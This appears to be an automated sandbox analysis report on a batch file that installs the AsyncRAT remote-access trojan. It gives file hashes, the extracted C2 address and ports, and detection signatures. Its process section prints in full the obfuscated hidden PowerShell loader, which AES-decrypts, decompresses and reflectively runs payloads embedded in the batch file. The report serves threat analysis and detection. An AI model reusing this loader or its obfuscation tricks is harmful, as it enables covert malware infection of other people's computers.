Analysis

  • max time kernel
    130s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-05-2024 23:00

General

  • Target

    Inital.bat

  • Size

    63KB

  • MD5

    e9319ac7284b6bbadf0200fee286b6c1

  • SHA1

    51c30382aa103118937f1a9bf453a8345febafb4

  • SHA256

    09d4308c18ecece489a51b7837968bcfc6c1273d83f5c83614bbdd119ccf6961

  • SHA512

    73e349b61c285cdb3cfdf41ae9ba166cc0f8e5c7b989bf744f9aa8433baf41ea3a01b46fa9a88cc97fa4ca5d80f57a9dbd8fea631a164566c9e95632c9f3404b

  • SSDEEP

    1536:Z6e+aDqc6V/xOtoqfF4OycI/k0xqAD/xtM:Z6aDqpVuoqKL5fkAvM

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

RATED

C2

147.185.221.17:25565

147.185.221.17:37531

Mutex

Dudee4vQEqBD

Attributes
  • delay

    3

  • install

    false

  • install_file

    AnticheatBiner.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect ZGRat V1 1 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Inital.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2756
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rQsZbBPOPJCvxNhL0LUES/xBoGdJPo5xjQuRz/WAY2Y='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DjbA3otpI3NZoCoqJZkIpQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $XrWyO=New-Object System.IO.MemoryStream(,$param_var); $udTvC=New-Object System.IO.MemoryStream; $DGCBl=New-Object System.IO.Compression.GZipStream($XrWyO, [IO.Compression.CompressionMode]::Decompress); $DGCBl.CopyTo($udTvC); $DGCBl.Dispose(); $XrWyO.Dispose(); $udTvC.Dispose(); $udTvC.ToArray();}function execute_function($param_var,$param2_var){ $ILwNn=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XDsjo=$ILwNn.EntryPoint; $XDsjo.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Inital.bat';$AUAcT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Inital.bat').Split([Environment]::NewLine);foreach ($RmJpd in $AUAcT) { if ($RmJpd.StartsWith(':: ')) { $jmZjY=$RmJpd.Substring(3); break; }}$payloads_var=[string[]]$jmZjY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2124

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sm31flge.mck.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2124-22-0x0000000006F60000-0x0000000006F68000-memory.dmp

    Filesize

    32KB

  • memory/2124-38-0x00000000748A0000-0x0000000075050000-memory.dmp

    Filesize

    7.7MB

  • memory/2124-21-0x0000000006F20000-0x0000000006F3A000-memory.dmp

    Filesize

    104KB

  • memory/2124-4-0x00000000748A0000-0x0000000075050000-memory.dmp

    Filesize

    7.7MB

  • memory/2124-5-0x0000000005AA0000-0x0000000005AC2000-memory.dmp

    Filesize

    136KB

  • memory/2124-7-0x0000000006410000-0x0000000006476000-memory.dmp

    Filesize

    408KB

  • memory/2124-6-0x00000000063A0000-0x0000000006406000-memory.dmp

    Filesize

    408KB

  • memory/2124-1-0x0000000005490000-0x00000000054C6000-memory.dmp

    Filesize

    216KB

  • memory/2124-17-0x0000000006480000-0x00000000067D4000-memory.dmp

    Filesize

    3.3MB

  • memory/2124-18-0x0000000006840000-0x000000000685E000-memory.dmp

    Filesize

    120KB

  • memory/2124-19-0x0000000006970000-0x00000000069BC000-memory.dmp

    Filesize

    304KB

  • memory/2124-20-0x00000000081A0000-0x000000000881A000-memory.dmp

    Filesize

    6.5MB

  • memory/2124-2-0x0000000005B00000-0x0000000006128000-memory.dmp

    Filesize

    6.2MB

  • memory/2124-3-0x00000000748A0000-0x0000000075050000-memory.dmp

    Filesize

    7.7MB

  • memory/2124-33-0x0000000008820000-0x0000000008896000-memory.dmp

    Filesize

    472KB

  • memory/2124-24-0x0000000007B40000-0x0000000007B52000-memory.dmp

    Filesize

    72KB

  • memory/2124-27-0x0000000007EA0000-0x0000000007F3C000-memory.dmp

    Filesize

    624KB

  • memory/2124-28-0x0000000008DD0000-0x0000000009374000-memory.dmp

    Filesize

    5.6MB

  • memory/2124-30-0x00000000748AE000-0x00000000748AF000-memory.dmp

    Filesize

    4KB

  • memory/2124-31-0x00000000748A0000-0x0000000075050000-memory.dmp

    Filesize

    7.7MB

  • memory/2124-32-0x00000000748A0000-0x0000000075050000-memory.dmp

    Filesize

    7.7MB

  • memory/2124-23-0x0000000007B20000-0x0000000007B2E000-memory.dmp

    Filesize

    56KB

  • memory/2124-34-0x00000000080F0000-0x0000000008158000-memory.dmp

    Filesize

    416KB

  • memory/2124-35-0x00000000088E0000-0x00000000088FE000-memory.dmp

    Filesize

    120KB

  • memory/2124-36-0x00000000089C0000-0x0000000008A52000-memory.dmp

    Filesize

    584KB

  • memory/2124-37-0x00000000748A0000-0x0000000075050000-memory.dmp

    Filesize

    7.7MB

  • memory/2124-0-0x00000000748AE000-0x00000000748AF000-memory.dmp

    Filesize

    4KB